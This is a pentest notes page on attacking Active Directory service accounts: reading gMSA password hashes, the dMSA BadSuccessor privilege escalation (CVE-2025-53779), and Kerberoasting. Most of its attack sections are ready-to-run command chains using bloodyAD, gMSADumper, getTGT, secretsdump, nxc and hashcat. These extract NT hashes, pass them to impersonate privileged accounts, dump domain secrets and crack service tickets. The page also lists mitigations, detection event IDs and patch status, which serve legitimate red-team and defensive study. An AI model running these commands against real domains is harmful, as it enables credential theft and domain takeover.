> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.

# Service Accounts

Service accounts run services, scheduled tasks, and background processes under a dedicated identity. They are high-value targets: they tend to carry elevated privileges, often have SPNs registered, and receive far less operational scrutiny than user accounts.

## Account Types

|                         | Regular SA        | MSA         | gMSA                   | dMSA            |
| ----------------------- | ----------------- | ----------- | ---------------------- | --------------- |
| **Password rotation**   | Manual            | Auto (30d)  | Auto (30d)             | Auto            |
| **Multi-host**          | Yes               | No (1 host) | Yes                    | Yes             |
| **Kerberoastable**      | Yes (if SPN)      | Yes         | Yes                    | No              |
| **NT hash extractable** | Via dump          | No          | Via LDAP (if in group) | Via key package |
| **Min. Windows Server** | Any               | 2008 R2     | 2012                   | 2025            |
| **Attack primitive**    | Kerberoast / dump | Kerberoast  | msDS-ManagedPassword   | BadSuccessor    |

**Regular user accounts as service accounts** compound risk: passwords are rarely rotated, SPNs are frequently registered, and the account is directly Kerberoastable. A cracked hash is valid until someone manually resets it.

**MSA (Managed Service Account)** automates password rotation but is bound to a single host. Rarely seen in modern environments.

**gMSA (Group MSA)** extends MSA to multiple hosts. The password is derived from the KDS root key and never exposed as plaintext. Retrievable only by accounts listed in `msDS-GroupMSAMembership`.

**dMSA (Delegated MSA)** is new in Windows Server 2025, designed to replace regular service accounts via a migration mechanic. The predecessor's SIDs are inherited into the dMSA's PAC, which is the root of CVE-2025-53779 (BadSuccessor).

***

## gMSA

### How It Works

The domain-wide KDS root key is created once per domain. Each gMSA's 256-bit password is derived deterministically from:

* The KDS root key
* The account name and domain
* A time counter that advances every 30 days

The KDC recomputes this derivation server-side. Hosts that appear in the `msDS-GroupMSAMembership` ACL can retrieve `msDS-ManagedPassword` from LDAP, a blob containing the current and previous NT hashes. The password never travels as plaintext.

### Enumeration

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# List all gMSAs and who can retrieve their password
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get search --filter '(objectClass=msDS-GroupManagedServiceAccount)' \
  --attr sAMAccountName,msDS-GroupMSAMembership

# Check retrieval group for a specific gMSA
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get object '$GMSA_NAME$' --attr msDS-GroupMSAMembership

# nxc
nxc ldap $DC_IP -u $USER -p $PASSWORD --gmsa
```

```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# PowerView
Get-ADServiceAccount -Filter * -Properties msDS-GroupMSAMembership,PrincipalsAllowedToRetrieveManagedPassword
```

### Attack: Retrieve NT Hash via msDS-ManagedPassword

If your controlled account is listed in `msDS-GroupMSAMembership`, or you have write access to add yourself there, you can retrieve the password blob and extract the NT hash directly.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Confirm or add yourself to the retrieval group
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get object '$GMSA_NAME$' --attr msDS-GroupMSAMembership

# If you have GenericWrite over the gMSA: add your account to the allowed group
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  add groupMember '$GMSA_ALLOWED_GROUP' '$USER'

# Step 2: Retrieve the managed password blob and extract the NT hash
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get object '$GMSA_NAME$' --attr msDS-ManagedPassword

# Alternative: gMSADumper (parses the blob and prints the NT hash directly)
python3 gMSADumper.py -u $USER -p $PASSWORD -l $DC_IP -d $DOMAIN
# Output: gmsa_name$:::NT_HASH
```

The NT hash can be used directly for pass-the-hash without cracking.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
nxc smb $TARGET -u '$GMSA_NAME$' -H $NT_HASH
secretsdump.py -hashes :$NT_HASH '$DOMAIN/$GMSA_NAME$'@$DC_HOST
```

### Mitigations

* Restrict `msDS-GroupMSAMembership` to the minimum set of hosts that actually run the service.
* Audit GenericWrite / GenericAll over gMSA objects via BloodHound or ACL enumeration.
* Monitor LDAP reads of `msDS-ManagedPassword` (Event 4662, property `msDS-ManagedPassword`).

***

## dMSA and BadSuccessor (CVE-2025-53779)

### How dMSA Migration Works

dMSA provides a migration path from regular service accounts. The key attributes:

* `msDS-ManagedAccountPrecededByLink`: points to the predecessor account DN
* `msDS-DelegatedMSAState`: tracks migration state
  * `0`: not started
  * `1`: migration in progress (dMSA accumulates predecessor SIDs, predecessor still active)
  * `2`: migration complete (predecessor disabled, dMSA fully inherits SIDs)

When the DC issues a TGT for a dMSA in state `1` or `2`, it includes the predecessor account's `objectSid` and all group SIDs in the PAC. A dMSA linked to a Domain Admin effectively becomes that Domain Admin from the KDC's perspective.

### KERB-DMSA-KEY-PACKAGE

The AS-REP for a dMSA contains a `KERB-DMSA-KEY-PACKAGE` in its encrypted payload. It holds two key sets:

* `current-keys`: the dMSA's own Kerberos keys (AES256, AES128, RC4)
* `previous-keys`: the predecessor account's keys at migration time

The predecessor's NT hash (RC4 key) ends up in `previous-keys` because the DC preserves the old credential for compatibility during the migration window. Since you created the dMSA and set its password, you can decrypt the AS-REP, parse the key package, and extract the predecessor's NT hash.

### Why the Attack Works

Any principal with `CreateChild` rights on an OU can:

1. Create a dMSA in that OU
2. Set `msDS-ManagedAccountPrecededByLink` to any account in the domain (no write on the predecessor required)
3. Set `msDS-DelegatedMSAState` to `2`
4. Request a TGT: the PAC contains the predecessor's SIDs and the AS-REP contains the predecessor's NT hash in the key package

No write access on the predecessor is needed. The only prerequisite is `CreateChild` on any OU.

### Enumeration

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Find OUs where your account has CreateChild rights
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get writable --otype OU

# Check for existing dMSAs and their migration state
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get search --filter '(objectClass=msDS-DelegatedManagedServiceAccount)' \
  --attr sAMAccountName,msDS-ManagedAccountPrecededByLink,msDS-DelegatedMSAState
```

```powershell wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Official PoC enumeration script
Import-Module .\Get-BadSuccessorOUPermissions.ps1
Get-BadSuccessorOUPermissions
```

### Attack Chain

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Step 1: Create a dMSA linked to a high-privilege predecessor
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  add badSuccessor '$DMSA_NAME' \
  --ou '$OU_DN' \
  --predecessor '$TARGET_ACCOUNT'

# Step 2: Request a TGT for the dMSA
getTGT.py '$DOMAIN/$DMSA_NAME$:$DMSA_PASS' -dc-ip $DC_IP
export KRB5CCNAME=$(pwd)/$DMSA_NAME.ccache

# Step 3: Extract the predecessor NT hash from the key package
python3 dmsa-keydump.py $DMSA_NAME.ccache
# Output: [*] Predecessor NT: <HASH>

# Step 4: Pass-the-hash as the predecessor
secretsdump.py -hashes :$NT_HASH '$DOMAIN/$TARGET_ACCOUNT'@$DC_HOST
nxc smb $DC_IP -u $TARGET_ACCOUNT -H $NT_HASH
```

<Card title="dMSA_keydump" icon="github" href="https://github.com/Chaelsoo/dMSA_keydump">
  Parses the KERB-DMSA-KEY-PACKAGE from a dMSA ccache and extracts the predecessor NT hash
</Card>

### Patch Status

Microsoft patched CVE-2025-53779 by requiring a **bidirectional link**: `msDS-ManagedAccountPrecededByLink` on the dMSA and a corresponding back-link on the predecessor object. Post-patch, write access on the predecessor is required to establish the link, which defeats the attack for most scenarios. Verify patch status before attempting.

### Detection

| Event ID | Source   | Trigger                                       |
| -------- | -------- | --------------------------------------------- |
| `5137`   | Security | Directory object created (dMSA creation)      |
| `5136`   | Security | Directory object modified (state or link set) |
| `2946`   | System   | dMSA migration state change                   |

Monitor for `msDS-DelegatedMSAState` set to `2` by non-privileged accounts, and for `msDS-ManagedAccountPrecededByLink` pointing to privileged accounts.

***

## Kerberoasting Service Accounts

Service accounts with SPNs are Kerberoastable regardless of account type. gMSAs are Kerberoastable but the password is 256 bits of random data and practically uncrackable: target `msDS-ManagedPassword` instead. dMSAs do not use RC4 by default and are not Kerberoastable.

### Enumeration

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# All user accounts with SPNs (kerberoastable)
GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP

# bloodyAD
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  get search \
  --filter '(&(objectClass=user)(servicePrincipalName=*)(!(objectClass=computer)))' \
  --attr sAMAccountName,servicePrincipalName

# nxc
nxc ldap $DC_IP -u $USER -p $PASSWORD --kerberoasting output.txt
```

### Requesting and Cracking

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Request TGS for all kerberoastable accounts
GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request -outputfile hashes.kerberoast

# Crack (mode 13100 = RC4, 19600 = AES128, 19700 = AES256)
hashcat -m 13100 hashes.kerberoast $WORDLIST
hashcat -m 19700 hashes.kerberoast $WORDLIST
```

See [Kerberoasting](/active-directory/kerberoasting) for the full targeted attack chain, AES downgrade, and faketime usage.
